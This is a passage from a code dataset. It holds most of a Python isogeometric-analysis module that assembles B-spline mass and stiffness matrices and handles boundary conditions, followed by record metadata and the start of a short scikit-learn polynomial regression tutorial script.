make_tensor_quadrature\nfrom .mlmatrix import MLStructure\n\n################################################################################\n# 1D assembling routines\n################################################################################\n\ndef _assemble_element_matrices(nspans, nqp, vals1, vals2, qweights):\n assert nspans * nqp == vals1.shape[1]\n assert nspans * nqp == vals2.shape[1]\n assert qweights.shape == (vals1.shape[1],)\n n_act1,n_act2 = vals1.shape[0],vals2.shape[0]\n elMats = np.empty((nspans, n_act1, n_act2)) # contains one n_act1 x n_act2 element matrix per span\n for k in range(nspans):\n f1 = vals1[:,nqp*k:nqp*(k+1)] # n_act1 x nqp\n f2 = vals2[:,nqp*k:nqp*(k+1)] # n_act2 x nqp\n w = qweights[nqp*k:nqp*(k+1)] # nqp-vector of weights\n elMats[k, :, :] = np.dot( f1, (f2 * w).transpose() )\n return elMats # n_act1*nspans x n_act2\n\ndef _create_coo_1d(nspans, n_act1, n_act2=None):\n \"\"\"Create COO indices for two sequentially numbered bases over `nspans` knot spans\"\"\"\n if n_act2 is None:\n n_act2 = n_act1 # if only one given, assume symmetry\n grid = np.mgrid[:n_act1, :n_act2] # 2 x n_act1 x n_act2 array which indexes element matrix\n I_ref = grid[0].ravel() # slowly varying index, first basis\n J_ref = grid[1].ravel() # fast varying index, second basis\n\n # first active basis function = index of knot span (independent of spline degree)\n first_act = np.repeat(range(nspans), n_act1*n_act2)\n I = first_act + np.tile(I_ref, nspans)\n J = first_act + np.tile(J_ref, nspans)\n return (I, J)\n\ndef _create_coo_1d_custom(nspans, n_act1, n_act2, first_act1, first_act2):\n \"\"\"Create COO indices for two sequentially numbered bases over `nspans` knot spans\"\"\"\n grid = np.mgrid[:n_act1, :n_act2] # 2 x n_act1 x n_act2 array which indexes element matrix\n I_ref = grid[0].ravel() # slowly varying index, first basis\n J_ref = grid[1].ravel() # fast varying index, second basis\n\n I = np.repeat(first_act1, n_act1*n_act2) + np.tile(I_ref, nspans)\n J = np.repeat(first_act2, n_act1*n_act2) + np.tile(J_ref, nspans)\n return (I, J)\n\ndef _assemble_matrix(nspans, nqp, vals1, vals2, qweights):\n n_act1 = vals1.shape[0]\n n_act2 = vals2.shape[0]\n elMats = _assemble_element_matrices(nspans, nqp, vals1, vals2, qweights)\n (I, J) = _create_coo_1d(nspans, n_act1, n_act2)\n return scipy.sparse.coo_matrix((elMats.ravel(), (I, J))).tocsr()\n\ndef _assemble_matrix_custom(nspans, nqp, vals1, vals2, I, J, qweights):\n n_act1 = vals1.shape[0]\n n_act2 = vals2.shape[0]\n elMats = _assemble_element_matrices(nspans, nqp, vals1, vals2, qweights)\n return scipy.sparse.coo_matrix((elMats.ravel(), (I, J))).tocsr()\n\ndef bsp_mass_1d(knotvec):\n \"Assemble the mass matrix for the B-spline basis over the given knot vector\"\"\"\n nspans = knotvec.numspans\n nqp = knotvec.p + 1\n q = make_iterated_quadrature(knotvec.kv[knotvec.p:-knotvec.p], nqp)\n vals = bspline.active_ev(knotvec, q[0])\n return _assemble_matrix(nspans, nqp, vals, vals, q[1])\n\ndef bsp_mass_1d_asym(knotvec1, knotvec2, quadgrid=None):\n \"\"\"Assemble a mass matrix relating two B-spline bases. By default, uses the first knot vector for quadrature.\"\"\"\n if quadgrid is None:\n quadgrid = np.unique(knotvec1.kv)\n\n # create iterated Gauss quadrature rule for each interval\n nqp = max(knotvec1.p, knotvec2.p) + 1\n nspans = len(quadgrid) - 1\n q = make_iterated_quadrature(quadgrid, nqp)\n assert len(q[0]) == nspans * nqp\n\n # evaluate basis functions at quadrature nodes\n vals1 = bspline.active_ev(knotvec1, q[0])\n vals2 = bspline.active_ev(knotvec2, q[0])\n\n first_points = q[0][::nqp]\n assert len(first_points) == nspans\n # map first_active_at over first quadrature points to get first active basis function index\n first_act1 = np.vectorize(knotvec1.first_active_at, otypes=(np.int,))(first_points)\n first_act2 = np.vectorize(knotvec2.first_active_at, otypes=(np.int,))(first_points)\n I,J = _create_coo_1d_custom(nspans, vals1.shape[0], vals2.shape[0], first_act1, first_act2)\n\n return _assemble_matrix_custom(nspans, nqp, vals1, vals2, I, J, q[1])\n\ndef bsp_mass_1d_weighted(knotvec, weightfunc):\n nspans = knotvec.numspans\n nqp = knotvec.p\n q = make_iterated_quadrature(knotvec.kv[knotvec.p:-knotvec.p], nqp)\n vals = bspline.active_ev(knotvec, q[0])\n weights = q[1] * weightfunc(q[0])\n return _assemble_matrix(nspans, nqp, vals, vals, weights)\n\ndef bsp_stiffness_1d(knotvec):\n \"Assemble the Laplacian stiffness matrix for the B-spline basis over the given knot vector\"\"\"\n return bsp_mixed_deriv_biform_1d(knotvec, 1, 1)\n\ndef bsp_mixed_deriv_biform_1d(knotvec, du, dv):\n \"Assemble the matrix for a(u,v)=(u^(du),v^(dv)) for the B-spline basis over the given knot vector\"\"\"\n nspans = knotvec.numspans\n nqp = knotvec.p\n q = make_iterated_quadrature(knotvec.kv[knotvec.p:-knotvec.p], nqp)\n derivs = bspline.active_deriv(knotvec, q[0], max(du, dv))\n return _assemble_matrix(nspans, nqp, derivs[dv, :, :], derivs[du, :, :], q[1])\n\ndef bsp_stiffness_1d_asym(knotvec1, knotvec2, quadgrid=None):\n \"\"\"Assemble a stiffness matrix relating two B-spline bases. By default, uses the first knot vector for quadrature.\"\"\"\n if quadgrid is None:\n quadgrid = np.unique(knotvec1.kv)\n\n # create iterated Gauss quadrature rule for each interval\n nqp = max(knotvec1.p, knotvec2.p) + 1\n nspans = len(quadgrid) - 1\n q = make_iterated_quadrature(quadgrid, nqp)\n assert len(q[0]) == nspans * nqp\n\n # evaluate derivatives of basis functions at quadrature nodes\n derivs1 = bspline.active_deriv(knotvec1, q[0], 1)[1, :, :]\n derivs2 = bspline.active_deriv(knotvec2, q[0], 1)[1, :, :]\n\n first_points = q[0][::nqp]\n assert len(first_points) == nspans\n # map first_active_at over first quadrature points to get first active basis function index\n first_act1 = np.vectorize(knotvec1.first_active_at, otypes=(np.int,))(first_points)\n first_act2 = np.vectorize(knotvec2.first_active_at, otypes=(np.int,))(first_points)\n I,J = _create_coo_1d_custom(nspans, derivs1.shape[0], derivs2.shape[0], first_act1, first_act2)\n\n return _assemble_matrix_custom(nspans, nqp, derivs1, derivs2, I, J, q[1])\n\n################################################################################\n# 2D/3D assembling routines (rely on Cython module)\n################################################################################\n\ndef bsp_mass_2d(knotvecs, geo=None, format='csr'):\n if geo is None:\n (kv1, kv2) = knotvecs\n M1 = bsp_mass_1d(kv1)\n M2 = bsp_mass_1d(kv2)\n return scipy.sparse.kron(M1, M2, format=format)\n else:\n return assemble(\n assemblers.MassAssembler2D(knotvecs, geo),\n symmetric=True, format=format)\n\ndef bsp_stiffness_2d(knotvecs, geo=None, format='csr'):\n if geo is None:\n (kv1, kv2) = knotvecs\n M1 = bsp_mass_1d(kv1)\n M2 = bsp_mass_1d(kv2)\n K1 = bsp_stiffness_1d(kv1)\n K2 = bsp_stiffness_1d(kv2)\n return scipy.sparse.kron(K1, M2, format=format) + scipy.sparse.kron(M1, K2, format=format)\n else:\n return assemble(\n assemblers.StiffnessAssembler2D(knotvecs, geo),\n symmetric=True, format=format)\n\ndef bsp_mass_3d(knotvecs, geo=None, format='csr'):\n if geo is None:\n M = [bsp_mass_1d(kv) for kv in knotvecs]\n def k(A,B):\n return scipy.sparse.kron(A, B, format=format)\n return k(M[0], k(M[1], M[2]))\n else:\n return assemble(\n assemblers.MassAssembler3D(knotvecs, geo),\n symmetric=True, format=format)\n\ndef bsp_stiffness_3d(knotvecs, geo=None, format='csr'):\n if geo is None:\n MK = [(bsp_mass_1d(kv), bsp_stiffness_1d(kv)) for kv in knotvecs]\n def k(A,B):\n return scipy.sparse.kron(A, B, format=format)\n M12 = k(MK[1][0], MK[2][0])\n K12 = k(MK[1][1], MK[2][0]) + k(MK[1][0], MK[2][1])\n return k(MK[0][1], M12) + k(MK[0][0], K12)\n else:\n return assemble(\n assemblers.StiffnessAssembler3D(knotvecs, geo),\n symmetric=True, format=format)\n\n################################################################################\n# Assembling right-hand sides\n################################################################################\n\ndef inner_products(kvs, f, f_physical=False, geo=None):\n \"\"\"Compute the :math:`L_2` inner products between each basis\n function in a tensor product B-spline basis and the function `f`\n (i.e., the load vector).\n\n Args:\n kvs (seq): a sequence of :class:`pyiga.bspline.KnotVector`,\n representing a tensor product basis\n f: a function or :class:`pyiga.geometry.BSplineFunc` object\n f_physical (bool): whether `f` is given in physical coordinates.\n If `True`, `geo` must be passed as well.\n geo: a :class:`pyiga.geometry.BSplinePatch` which describes\n the integration domain; if not given, the integrals are\n computed in the parameter domain\n\n Returns:\n ndarray: the inner products as an array of size\n `kvs[0].ndofs x kvs[1].ndofs x ... x kvs[-1].ndofs`.\n Each entry corresponds to the inner product of the\n corresponding basis function with `f`.\n If `f` is not scalar, then each of its components is treated separately\n and the corresponding dimensions are appended to the end of the return\n value.\n \"\"\"\n if isinstance(kvs, bspline.KnotVector):\n kvs = (kvs,)\n # compute quadrature rules\n nqp = max(kv.p for kv in kvs) + 1\n gaussgrid, gaussweights = make_tensor_quadrature([kv.mesh for kv in kvs], nqp)\n\n # evaluate function f on grid or transformed grid\n if f_physical:\n assert geo is not None, 'inner_products in physical domain requires geometry'\n fvals = utils.grid_eval_transformed(f, gaussgrid, geo)\n else:\n fvals = utils.grid_eval(f, gaussgrid)\n\n # multiply function values with quadrature weights\n fvals = tensor.apply_tprod(\n [operators.DiagonalOperator(gw) for gw in gaussweights], fvals)\n # if geometry was specified, multiply by abs(det(jac))\n if geo is not None:\n geo_jac = geo.grid_jacobian(gaussgrid)\n geo_det = np.abs(assemble_tools.determinants(geo_jac))\n # if f is not scalar, we simply add trivial dimensions on to the end\n extra_dims = fvals.ndim - geo_det.ndim\n if extra_dims > 0:\n geo_det.shape = geo_det.shape + (extra_dims * (1,))\n fvals *= geo_det\n # apply transposed spline collocation matrices (sum over Gauss nodes)\n Ct = [bspline.collocation(kvs[i], gaussgrid[i]).T\n for i in range(len(kvs))]\n return tensor.apply_tprod(Ct, fvals)\n\n################################################################################\n# Incorporating essential boundary conditions\n################################################################################\n\ndef slice_indices(ax, idx, shape, ravel=False):\n \"\"\"Return dof indices for a slice of a tensor product basis with size\n `shape`. The slice is taken across index `idx` on axis `ax`.\n\n The indices are returned either as a `N x dim` array of multiindices or,\n with `ravel=True`, as an array of sequential (raveled) indices.\n \"\"\"\n shape = tuple(shape)\n if idx < 0:\n idx += shape[ax] # wrap around\n axdofs = [range(n) for n in shape]\n axdofs[ax] = [idx]\n multi_indices = np.array(list(itertools.product(*axdofs)))\n if ravel:\n multi_indices = np.ravel_multi_index(multi_indices.T, shape)\n return multi_indices\n\n\ndef compute_dirichlet_bc(kvs, geo, bdspec, dir_func):\n \"\"\"Compute indices and values for a Dirichlet boundary condition using\n interpolation.\n\n Args:\n kvs: a tensor product B-spline basis\n geo (:class:`pyiga.geometry.BSplinePatch`): the geometry transform\n bdspec: a pair `(axis, side)`. `axis` denotes the axis along\n which the boundary condition lies, and `side` is either\n 0 for the \"lower\" boundary or 1 for the \"upper\" boundary.\n dir_func: a function which will be interpolated to obtain the\n Dirichlet boundary values. Assumed to be given in physical\n coordinates. If it is vector-valued, one Dirichlet dof is\n computed per component, and they are numbered according to\n the \"blocked\" matrix layout.\n\n Returns:\n A pair of arrays `(indices, values)` which denote the indices of the\n dofs within the tensor product basis which lie along the Dirichlet\n boundary and their computed values, respectively.\n \"\"\"\n bdax, bdside = bdspec\n\n # get basis for the boundary face\n bdbasis = list(kvs)\n del bdbasis[bdax]\n\n # get boundary geometry and interpolate dir_func\n bdgeo = geo.boundary(bdax, bdside)\n from .approx import interpolate\n dircoeffs = interpolate(bdbasis, dir_func, geo=bdgeo)\n\n # compute sequential indices for eliminated dofs\n N = tuple(kv.numdofs for kv in kvs)\n bdindices = slice_indices(bdax, 0 if bdside==0 else -1, N, ravel=True)\n\n extra_dims = dircoeffs.ndim - len(bdbasis)\n if extra_dims == 0:\n return bdindices, dircoeffs.ravel()\n elif extra_dims == 1:\n # vector function; assume blocked vector discretization\n numcomp = dircoeffs.shape[-1]\n NN = np.prod(N)\n return combine_bcs(\n (bdindices + j*NN, dircoeffs[..., j].ravel())\n for j in range(numcomp))\n else:\n raise ValueError('invalid dimension of Dirichlet coefficients: %s' % dircoeffs.shape)\n\n\ndef compute_initial_condition_01(kvs, geo, bdspec, g0, g1, physical=True):\n r\"\"\"Compute indices and values for an initial condition including function\n value and derivative for a space-time discretization using interpolation.\n This only works for a space-time cylinder with constant (in time) geometry.\n To be precise, the space-time geometry transform `geo` should have the form\n\n .. math:: G(\\vec x, t) = (\\widetilde G(\\vec x), t).\n\n Args:\n kvs: a tensor product B-spline basis\n geo (:class:`pyiga.geometry.BSplinePatch`): the geometry transform of\n the space-time cylinder\n bdspec: a pair `(axis, side)`. `axis` denotes the time axis of `geo`,\n and `side` is either 0 for the \"lower\" boundary or 1 for the\n \"upper\" boundary.\n g0: a function which will be interpolated to obtain the initial\n function values\n g1: a function which will be interpolated to obtain the initial\n derivatives.\n physical (bool): whether the functions `g0` and `g1` are given in\n physical (True) or parametric (False) coordinates. Physical\n coordinates are assumed by default.\n\n Returns:\n A pair of arrays `(indices, values)` which denote the indices of the\n dofs within the tensor product basis which lie along the initial face\n of the space-time cylinder and their computed values, respectively.\n \"\"\"\n bdax, bdside = bdspec\n\n bdbasis = list(kvs)\n del bdbasis[bdax]\n\n bdgeo = geo.boundary(bdax, bdside) if physical else None\n from .approx import interpolate\n coeffs01 = np.stack(( # coefficients for 0th and 1st derivatives, respectively\n interpolate(bdbasis, g0, geo=bdgeo).ravel(),\n interpolate(bdbasis, g1, geo=bdgeo).ravel()\n ))\n\n # compute 2x2 matrix which maps the two boundary coefficients to 0-th and 1-st derivative\n # at the boundary (only two basis functions have contributions there!)\n if bdside == 0:\n bdcolloc = bspline.active_deriv(kvs[bdax], 0.0, 1)[:2, :2] # first two basis functions\n else:\n bdcolloc = bspline.active_deriv(kvs[bdax], 1.0, 1)[:2, -2:] # last two basis functions\n\n # note: this only works for a space-time cylinder with constant geometry!\n coll_coeffs = np.linalg.solve(bdcolloc, coeffs01)\n\n # compute indices for the two boundary slices\n N = tuple(kv.numdofs for kv in kvs)\n firstidx = (0 if bdside==0 else -2)\n bdindices = np.concatenate((\n slice_indices(bdax, firstidx, N, ravel=True),\n slice_indices(bdax, firstidx+1, N, ravel=True)\n ))\n\n return bdindices, coll_coeffs.ravel()\n\n\ndef combine_bcs(bcs):\n \"\"\"Given a sequence of `(indices, values)` pairs such as returned by\n :func:`compute_dirichlet_bc`, combine them into a single pair\n `(indices, values)`.\n\n Dofs which occur in more than one `indices` array take their\n value from an arbitrary corresponding `values` array.\n \"\"\"\n bcs = list(bcs)\n indices = np.concatenate([ind for ind,_ in bcs])\n values = np.concatenate([val for _,val in bcs])\n assert indices.shape == values.shape, 'Inconsistent BC sizes'\n\n uidx, lookup = np.unique(indices, return_index=True)\n return uidx, values[lookup]\n\n\nclass RestrictedLinearSystem:\n \"\"\"Represents a linear system with some of its dofs eliminated.\n\n Args:\n A: the full matrix\n b: the right-hand side (may be 0)\n bcs: a pair of arrays `(indices, values)` which contain the\n indices and values, respectively, of dofs to be eliminated\n from the system\n\n Once constructed, the restricted linear system can be accessed through\n the following attributes:\n\n Attributes:\n A: the restricted matrix\n b: the restricted and updated right-hand side\n \"\"\"\n def __init__(self, A, b, bcs):\n indices, values = bcs\n if np.isscalar(b):\n b = np.broadcast_to(b, A.shape[0])\n if np.isscalar(values):\n values = np.broadcast_to(values, indices.shape[0])\n\n I = scipy.sparse.eye(A.shape[0], format='csr')\n # compute mask which contains non-eliminated dofs\n mask = np.ones(A.shape[0], dtype=bool)\n mask[list(indices)] = False\n\n # TODO/BUG: this may require the indices to be in increasing order?\n self.R_free = I[mask]\n self.R_elim = I[np.logical_not(mask)]\n self.values = values\n\n self.A = self.restrict_matrix(A)\n self.b = self.restrict(b - A.dot(self.R_elim.T.dot(values)))\n\n def restrict(self, u):\n \"\"\"Given a vector `u` containing all dofs, return its restriction to the free dofs.\"\"\"\n return self.R_free.dot(u)\n\n def restrict_matrix(self, B):\n \"\"\"Given a matrix `B` which operates on all dofs, return its restriction to the free dofs.\"\"\"\n return self.R_free.dot(B).dot(self.R_free.T)\n\n def extend(self, u):\n \"\"\"Given a vector `u` containing only the free dofs, pad it with zeros to all dofs.\"\"\"\n return self.R_free.T.dot(u)\n\n def complete(self, u):\n \"\"\"Given a solution `u` of the restricted linear system, complete it\n with the values of the eliminated dofs to a solution of the original\n system.\n \"\"\"\n return self.extend(u) + self.R_elim.T.dot(self.values)\n\n################################################################################\n# Integration\n################################################################################\n\ndef integrate(kvs, f, f_physical=False, geo=None):\n \"\"\"Compute the integral of the function `f` over the geometry\n `geo` or a simple tensor product domain.\n\n Args:\n kvs (seq): a sequence of :class:`pyiga.bspline.KnotVector`;\n determines the parameter domain and the quadrature rule\n f: a function or :class:`pyiga.geometry.BSplineFunc` object\n f_physical (bool): whether `f` is given in physical coordinates.\n If `True`, `geo` must be passed as well.\n geo: a :class:`pyiga.geometry.BSplinePatch` which describes\n the integration domain; if not given, the integral is\n computed in the parameter domain\n\n Returns:\n float: the integral of `f` over the specified domain\n \"\"\"\n if isinstance(kvs, bspline.KnotVector):\n kvs = (kvs,)\n # compute quadrature rules\n nqp = max(kv.p for kv in kvs) + 1\n gaussgrid, gaussweights = make_tensor_quadrature([kv.mesh for kv in kvs], nqp)\n\n # evaluate function f on grid or transformed grid\n if f_physical:\n assert geo is not None, 'integrate in physical domain requires geometry'\n fvals = utils.grid_eval_transformed(f, gaussgrid, geo)\n else:\n fvals = utils.grid_eval(f, gaussgrid)\n\n # multiply function values with quadrature weights\n fvals = tensor.apply_tprod(\n [operators.DiagonalOperator(gw) for gw in gaussweights], fvals)\n # if geometry was specified, multiply by abs(det(jac))\n if geo is not None:\n geo_jac = geo.grid_jacobian(gaussgrid)\n geo_det = np.abs(assemble_tools.determinants(geo_jac))\n fvals *= geo_det\n # sum over all coordinate axes (leave vector components intact, if any)\n return fvals.sum(axis=tuple(range(len(kvs))))\n\n################################################################################\n# Driver routines for assemblers\n################################################################################\n\ndef assemble(asm, symmetric=False, format='csr'):\n kvs0, kvs1 = asm.kvs\n X = MLStructure.from_kvs(kvs0, kvs1).make_mlmatrix()\n\n if isinstance(asm, assemble_tools.BaseAssembler2D):\n X.data = assemble_tools.generic_assemble_core_2d(asm, X.structure.bidx, symmetric=symmetric)\n elif isinstance(asm, assemble_tools.BaseAssembler3D):\n X.data = assemble_tools.generic_assemble_core_3d(asm, X.structure.bidx, symmetric=symmetric)\n else:\n assert False, 'Unknown assembler type'\n if format == 'mlb':\n return X\n else:\n return X.asmatrix(format)\n\ndef assemble_vector(asm, symmetric=False, format='csr', layout='blocked'):\n assert layout in ('packed', 'blocked')\n\n kvs0, kvs1 = asm.kvs\n dim = len(kvs0)\n nc = asm.num_components()[::-1] # reverse axes (u = kv0 = columns)\n struc = MLStructure.from_kvs(kvs0, kvs1).join(MLStructure.dense(nc))\n X = struc.make_mlmatrix()\n\n if dim == 2:\n X.data = assemble_tools.generic_assemble_core_vec_2d(asm, X.structure.bidx[:dim], symmetric)\n elif dim == 3:\n X.data = assemble_tools.generic_assemble_core_vec_3d(asm, X.structure.bidx[:dim], symmetric)\n else:\n assert False, 'dimension %d not implemented' % dim\n\n if layout == 'blocked':\n axes = (dim,) + tuple(range(dim)) # bring last axis to the front\n X = X.reorder(axes)\n if format == 'mlb':\n return X\n else:\n return X.asmatrix(format)\n\n################################################################################\n# Convenience functions\n################################################################################\n\ndef _detect_dim(kvs):\n if isinstance(kvs, bspline.KnotVector):\n return 1\n else:\n return len(kvs)\n\ndef mass(kvs, geo=None, format='csr'):\n \"\"\"Assemble a mass matrix for the given basis (B-spline basis\n or tensor product B-spline basis) with an optional geometry transform.\n \"\"\"\n dim = _detect_dim(kvs)\n if geo:\n assert geo.dim == dim, \"Geometry has wrong dimension\"\n if dim == 1:\n assert geo is None, \"Geometry map not supported for 1D assembling\"\n return bsp_mass_1d(kvs)\n elif dim == 2:\n return bsp_mass_2d(kvs, geo, format)\n elif dim == 3:\n return bsp_mass_3d(kvs, geo, format)\n else:\n assert False, \"Dimensions higher than 3 are currently not implemented.\"\n\ndef stiffness(kvs, geo=None, format='csr'):\n \"\"\"Assemble a stiffness matrix for the given basis (B-spline basis\n or tensor product B-spline basis) with an optional geometry transform.\n \"\"\"\n dim = _detect_dim(kvs)\n if geo:\n assert geo.dim == dim, \"Geometry has wrong dimension\"\n if dim == 1:\n assert geo is None, \"Geometry map not supported for 1D assembling\"\n return bsp_stiffness_1d(kvs)\n elif dim == 2:\n return bsp_stiffness_2d(kvs, geo, format)\n elif dim == 3:\n return bsp_stiffness_3d(kvs, geo, format)\n else:\n assert False, \"Dimensions higher than 3 are currently not implemented.\"\n\ndef divdiv(kvs, geo=None, layout='blocked', format='csr'):\n dim = _detect_dim(kvs)\n if geo is None:\n geo = geometry.unit_cube(dim=dim) # TODO: fast assembling for div-div?\n if dim == 2:\n asm = assemblers.DivDivAssembler2D(kvs, geo)\n elif dim == 3:\n asm = assemblers.DivDivAssembler3D(kvs, geo)\n else:\n assert False, 'dimension %d not implemented' % dim\n return assemble_vector(asm, symmetric=True, layout=layout, format=format)\n\ndef mass_fast(kvs, geo=None, tol=1e-10, maxiter=100, skipcount=3, tolcount=3, verbose=2):\n \"\"\"Assemble a mass matrix for the given tensor product B-spline basis with\n an optional geometry transform, using the fast low-rank assembling\n algorithm.\n \"\"\"\n if geo is None:\n # the default assemblers use Kronecker product assembling if no geometry present\n return mass(kvs)\n dim = _detect_dim(kvs)\n assert geo.dim == dim, \"Geometry has wrong dimension\"\n if dim == 1:\n assert False, \"Geometry map not supported for 1D assembling\"\n elif dim == 2:\n asm = assemblers.MassAssembler2D(kvs, geo)\n elif dim == 3:\n asm = assemblers.MassAssembler3D(kvs, geo)\n else:\n assert False, \"Dimensions higher than 3 are currently not implemented.\"\n return fast_assemble_cy.fast_assemble(asm, kvs, tol, maxiter, skipcount, tolcount, verbose)\n\ndef stiffness_fast(kvs, geo=None, tol=1e-10, maxiter=100, skipcount=3, tolcount=3, verbose=2):\n \"\"\"Assemble a stiffness matrix for the given tensor product B-spline basis\n with an optional geometry transform, using the fast low-rank assembling\n algorithm.\n \"\"\"\n if geo is None:\n # the default assemblers use Kronecker product assembling if no geometry present\n return stiffness(kvs)\n dim = _detect_dim(kvs)\n assert geo.dim == dim, \"Geometry has wrong dimension\"\n if dim == 1:\n assert False, \"Geometry map not supported for 1D assembling\"\n elif dim == 2:\n asm = assemblers.StiffnessAssembler2D(kvs, geo)\n elif dim == 3:\n asm = assemblers.StiffnessAssembler3D(kvs, geo)\n else:\n assert False, \"Dimensions higher than 3 are currently not implemented.\"\n return fast_assemble_cy.fast_assemble(asm, kvs, tol, maxiter, skipcount, tolcount, verbose)\n\n", "sub_path": "pyiga/assemble.py", "file_name": "assemble.py", "file_ext": "py", "file_size_in_byte": 29219, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.empty", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.mgrid", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.mgrid", "line_number": 121, "usage_type": "attribute"}, {"api_name": "numpy.repeat", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 126, "usage_type": "call"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 134, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 134, "usage_type": "attribute"}, {"api_name": "scipy.sparse.coo_matrix", "line_number": 140, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 140, "usage_type": "attribute"}, {"api_name": "quadrature.make_iterated_quadrature", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 153, "usage_type": "call"}, {"api_name": "quadrature.make_iterated_quadrature", "line_number": 158, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 168, "usage_type": "attribute"}, {"api_name": "numpy.vectorize", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 169, "usage_type": "attribute"}, {"api_name": "quadrature.make_iterated_quadrature", "line_number": 177, "usage_type": "call"}, {"api_name": "quadrature.make_iterated_quadrature", "line_number": 190, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 197, "usage_type": "call"}, {"api_name": "quadrature.make_iterated_quadrature", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.vectorize", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 212, "usage_type": "attribute"}, {"api_name": "numpy.vectorize", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.int", "line_number": 213, "usage_type": "attribute"}, {"api_name": "scipy.sparse.kron", "line_number": 227, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 227, "usage_type": "attribute"}, {"api_name": "scipy.sparse.kron", "line_number": 240, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 240, "usage_type": "attribute"}, {"api_name": "scipy.sparse.kron", "line_number": 250, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 250, "usage_type": "attribute"}, {"api_name": "scipy.sparse.kron", "line_number": 261, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 261, "usage_type": "attribute"}, {"api_name": "quadrature.make_tensor_quadrature", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 317, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 344, "usage_type": "call"}, {"api_name": "itertools.product", "line_number": 344, "usage_type": "call"}, {"api_name": "numpy.ravel_multi_index", "line_number": 346, "usage_type": "call"}, {"api_name": "approx.interpolate", "line_number": 380, "usage_type": "call"}, {"api_name": "numpy.prod", "line_number": 392, "usage_type": "call"}, {"api_name": "numpy.stack", "line_number": 435, "usage_type": "call"}, {"api_name": "approx.interpolate", "line_number": 436, "usage_type": "call"}, {"api_name": "approx.interpolate", "line_number": 437, "usage_type": "call"}, {"api_name": "numpy.linalg.solve", "line_number": 448, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 448, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 453, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 470, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 471, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 474, "usage_type": "call"}, {"api_name": "numpy.isscalar", "line_number": 497, "usage_type": "call"}, {"api_name": "numpy.broadcast_to", "line_number": 498, "usage_type": "call"}, {"api_name": "numpy.isscalar", "line_number": 499, "usage_type": "call"}, {"api_name": "numpy.broadcast_to", "line_number": 500, "usage_type": "call"}, {"api_name": "scipy.sparse.eye", "line_number": 502, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 502, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 504, "usage_type": "call"}, {"api_name": "numpy.logical_not", "line_number": 509, "usage_type": "call"}, {"api_name": "quadrature.make_tensor_quadrature", "line_number": 559, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 574, "usage_type": "call"}, {"api_name": "mlmatrix.MLStructure.from_kvs", "line_number": 585, "usage_type": "call"}, {"api_name": "mlmatrix.MLStructure", "line_number": 585, "usage_type": "name"}, {"api_name": "mlmatrix.MLStructure.from_kvs", "line_number": 604, "usage_type": "call"}, {"api_name": "mlmatrix.MLStructure", "line_number": 604, "usage_type": "name"}, {"api_name": "mlmatrix.MLStructure.dense", "line_number": 604, "usage_type": "call"}]} {"seq_id": "116828191", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 7 00:34:30 2017\n\n@author: sparshkoyarala\n\"\"\"\n\n# Importing the Libraries\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the Datasets\n\ndataset = pd.read_csv('Position_Salaries.csv')\nX = dataset.iloc[:,1:2].values\ny = dataset.iloc[:,-1].values\n\n# Plotting the Data to analyse\n\nplt.scatter(X, y, color='red')\nplt.show()\n\n# Fitting Linear Regression\n\nfrom sklearn.linear_model import LinearRegression\n\nlin_reg = LinearRegression()\nlin_reg.fit(X, y)\n\n# Fitting Polynomial Regression\n\nfrom sklearn.preprocessing import PolynomialFeatures\n\npoly_reg = PolynomialFeatures(degree=4)\nX_poly = poly_reg.fit_transform(X)\nlin_reg_2 = LinearRegression()\nlin_reg_2.fit(X_poly, y)\n\n# Visualising Linear Regression\n\nplt.scatter(X, y, color = 'red')\nplt.plot(X, lin_reg.predict(X), color = 'blue')\nplt.title('Linear Regression')\nplt.xlabel('Level')\nplt.ylabel('Salary')\nplt.show()\n\n# Visualising Polynomial Regression\n\nX_grid = np.arange(min(X), max(X), 0.1)\nX_grid = X_grid.reshape((len(X_grid), 1))\n\nplt.scatter(X, y, color = 'red')\nplt.plot(X_grid, lin_reg_2.predict(poly_reg.fit_transform(X_grid)), color = 'blue')\nplt.title('Polynomial Regression')\nplt.xlabel('Level')\nplt.ylabel('Salary')\nplt.show()\n\n# Predicting Linear Reg for 6.5\n\nlin_reg.predict(6.5)\n\n# Predicting Poly Reg for 